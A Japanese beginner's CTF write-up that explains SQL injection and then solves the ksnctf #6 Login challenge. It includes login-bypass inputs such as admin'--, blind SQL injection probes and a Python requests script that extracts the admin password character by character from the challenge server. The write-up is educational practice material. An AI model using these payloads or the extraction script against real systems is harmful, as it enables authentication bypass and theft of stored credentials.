概要
この記事は、識者による write up というより、どちらかというと身内の ctf 勉強会向けに作成した報告書のようなものです。
- 私は ctf ガチ初心者です。(なおかつ儚いWeb系の知識)
- 強い東方要素
- ぐだぐだ説明
それでもよいという方だけどうぞ。↓
#本題
Webアプリケーションの脆弱性で有名なものの一つに、「SQLインジェクション」というものがあります。
この「SQLインジェクション」は、webサイト関連の脆弱性届出のうち、10%を占める重要な脆弱性です。1
コンテンツサービス会社における6万人の個人情報流出 など、現在もこの脆弱性をついた情報流出の事例が後を絶ちません。
今回はこの「SQLインジェクション」について簡単にまとめ、それを使って解けるCTF問題について解説したいと思います。
SQLインジェクションについて
現在社会においてほとんどの企業がデータベースで様々なデータを管理していますが、RDBMS2 の問い合わせに使用する言語が SQL です。
ユーザの入力を受け付けているようなWebアプリケーションについて考えます。
Webアプリケーションは不正なSQL文を含んだリクエストに対してそれを無効化し、結果としてエラーを返す動作が期待されます。
しかし、Webアプリケーションに不備があると、不正なリクエストを無効化せずに SQL 文を発行するので、管理者が予期していないレスポンスを返してしまいます。
これこそが「SQLインジェクション」と呼ばれている攻撃で、 SQL の呼び出し方に不備が存在するWebアプリケーションを狙って行われることがあります。
この攻撃を利用すると、攻撃者は「ログイン画面の認証回避」や「情報摂取・削除・改ざん」などを行うことができます。
RDBMS におけるデータベースと SQL 文
データベースに以下のようなテーブルがあったとします。
これは、東方小学校に在籍する生徒の名前、学年、パスワードのカラムがあるテーブル student_table です。
例えば、このテーブルから「id=1」の生徒名を取り出したい場合、その SQL 文は以下のようになります。
SELECT name FROM student_table WHERE id=1
返却されたレスポンスの結果から、id が 1 の 生徒が Cirno(チルノ) であることがわかります。
東方小学校の学内システムでは、生徒がサイトにログイン認証で都度 SQL 文を発行してデータベースに問合せています。
このシステムに対して、「SQLインジェクション」を行っていきましょう。
SQLインジェクションの手法
今回の攻撃対象のシステムの見た目が、以下のようになっているとします。
サービスの名前はともかく、標準的なログイン画面だと思います。
ユーザ名とパスワードの組み合わせが正しければ、認証が成功し、次の画面に進みそうです。
ここで、ユーザからの入力をそのままデータベースへの問い合わせに利用しているのが知られたら、攻撃者は「SQLインジェクション」を行ってくるかもしれません。
この入力箇所に不正な SQL 文を仕込ませるのです。
ユーザ名とパスワードでログインの条件について真を満たすような SQL 文をうちこめば、ログイン認証を回避できることがあるのです。
SQL 文のコメントアウトは MySQL では「'--」にあたります。
これを踏まえて上記のシステムへチルノのアカウントでログインするには、このように打ち込むことになるでしょう。
パスワードのところは画面ではじかれなければなんでもいいんです。
本当に正しいパスワード打たなくてもいいの?って疑問がわくと思いますが、
ユーザ名「Cirno」以下はコメントとして扱われますから、
ユーザ名がデータベースにあれば、正しいパスワードを入力しなくてもログインできてしまうのです。
このように、サーバで生成される SQL 文が不当とみなされなければ、認証が成功します。
「まじかよ!でも東方詳しくないから、ユーザに誰がいるか分からないぜ!詰んだで、おい。」
東方に詳しくなく、東方小学校に誰がいるのか分からない場合は、以下のように打ち込めばいいでしょう。
SQLインジェクションの脆弱性があるシステムでは、これでもログインが成功する可能性があります。
ksnctf #6 Login を解く
サイトにあるURLへ飛んでみると、何かのログイン画面っぽいものが出てきました。
まあログインするんだろうな、と。思いました。(小並感)
まずは、「Id」が a、「Pass」が b のように適当に打ち込んでみました。
Login Failed
はじかれます。
「Id」を admin としても、パスワードが正解していないと認証が成功しないようです。
まずは、SQLインジェクションしてみる
adminとしてログインせよ、とのことなので、先ほどの例にならって、
ログイン画面の、「Id」に「admin'--」、「Pass」に「aaaa」と打ち込んでみます。
画面が変わったので、フラグが出てくると思ったんですけど、フラグらしきものは見つかりません。
メッセージによると、フラグは admin のパスワードだと書いてあります。
admin のパスワードを知るには、どうしたらいいのでしょうか。
立ち止まって考える
メッセージのあとの Hint: 以下は php のコードでしょうか。
php に詳しくなかったので、調べながら眺めます。
「$id」ってのは php 変数を意味しています。
isset のところは、入力欄に何か入力されていれば値を代入しているって感じだと思います。
それ以下の php をまともに読めないながらも流し読みすると、
「$r=$db->query("SELECT * FROM user ...」
みたいなものがあります。
データベースのテーブルにある id と pass の値が一致すればログインさせてくれるみたいなニュアンスをかんじました。
なんとなくですが、データベースのテーブル user には、pass というカラムがあって、その pass に入っている値が欲しいということが分かってきました。
じゃあ、こんな感じの SQL を送り付けるのはどうだろうと思いました。
' or SELECT pass FROM user WHERE id = 'admin' --
やってみます。
まぁ、こんなのではないよねぇ、、、
ふええ、なんか方法があるのかなぁと思い、右も左も分からないので調べました。
「ブラインドSQLインジェクション」
挿入した SQL の応答の違いからデータベースの情報を盗み出す攻撃の方法です。
今回の場合では具体的にどうすれば良いのでしょうか?
以下みたいな SQL なら通りそうです。
' or (SELECT LENGTH(pass) FROM user WHERE id = 'admin') > 1 --
passの長さを取得して、それが 1 以上なら判定が真となり認証が成功するイメージです。
id にこれを与えて、送信を押してみます。。
では、次の試みです。
パスワードがフラグになっているので、せいぜい長さは 30 以下だと思います。
このことから、とりあえず以下がどうなるか反応を見ます。
' or (SELECT LENGTH(pass) FROM user WHERE id = 'admin') > 30 --
認証失敗しました。
しかし、これが失敗することにより、「パスワードは 1 以上 30 以下である。」という情報が分かります。
こうやって、何回かアタックしながら長さを取得して、文字を一つずつ確認していって、、、ってなると処理を自動化しないときつそうですよね。
プログラム書くぞ~
発想をプログラムへ落とし込む
認証が成功するかしないかを見ながら、データベースの中身を確認する方法でうまく行きそうだということでした。
最初からパスワードに文字送りつけてチェックしてもよいのですが、まずはパスワードの文字数を取得しましょう。
pythonには、requests というHTTP通信ができるモジュールがあります。
標準でurllibというライブラリもあるけど、requests の方が見た目が人間に優しいらしい。
優しいの好き。
以下の構文で、"id" に "aaaa"を、"pass" に "bbbb" を指定して、web サイトに post できます。
payload = {'id': 'aaaa', 'pass': 'bbbb'}
r = requests.post("http://ctfq.sweetduet.info:10080/~q6/", data=payload)
レスポンスの内容は r に格納されていて、r.text とすると、レスポンスを得ることができます。
パスワードの長さの取得には、1 からインクリメントしていくのがいいでしょう。
for count in range(1, 30):
sql = "\' or (SELECT LENGTH(pass) FROM user WHERE id = \'admin\') = {i} --".format\(i=count)
payload = {'id' : 'admin', 'pass' : sql}
response = requests.post(url, data=payload)
if len(response.text) > 2000:
pass_length = count
print(" pass\'s length : " + str(pass_length)
return pass_length
この上の SQL の 1 をひとつずつインクリメントしながら、推移が判定できなくなったところがパスワード (フラグ) の文字数です。
SQL を送信した後の画面の文字数が1932字なので、2000字より多いかどうかを認証が成功したかどうかを判定することにしました。
パスワードの文字数が取れたら、そのパスワードを一文字ずつ確定していきましょう。
一文字ずつ、a-z、A-Z、他記号などをいれていって、認証成功したらその文字を確定して、、、ってことを繰り返しやっていきましょう。
python における、数字、大文字と小文字の英語、よくある記号の 文字のコードポイント $\leftrightarrow$ 文字の変換 は、以下のようになっています。
i | Char(i) |
---|---|
48 | 0 |
... | ... |
57 | 9 |
60 | < |
61 | = |
62 | > |
63 | ? |
64 | @ |
65 | A |
... | ... |
90 | Z |
91 | [ |
92 | \ |
93 | ] |
94 | ^ |
95 | _ |
96 | ` |
97 | a |
... | ... |
122 | z |
以上の文字がフラグに含まれていると予想します。
for count in range(1, pass_length):
for char_number in range(48, 122):
c = chr(char_number)
# Search the password in a brute force manner, and if the login is successful it is correct
sql = "\' or SUBSTR((SELECT pass FROM user WHERE id = \'admin\'), {i}, 1) = \'{char}\' --".format(i = count, char = c)
payload = {'id' : 'admin', 'pass' : sql}
response = requests.post(url, data=payload) if len(response.text) > 2000:
print(c)
break
多分合ってます。
てことで、プログラム書きました~。
お疲れ様です。
まとめ
SQLインジェクションの説明とそれを利用して ksnctf #6 Login の flag を回収してみました。
原理が分かっていれば素直に取り組める問題だと思います。
まだまだCTFは初心者ですが、ゲーム性もあり知らなかったことを実践を通して学べるのでやっていて面白いです。
想定より長くなりましたが、ここまでありがとうございました。
Happy Hacking!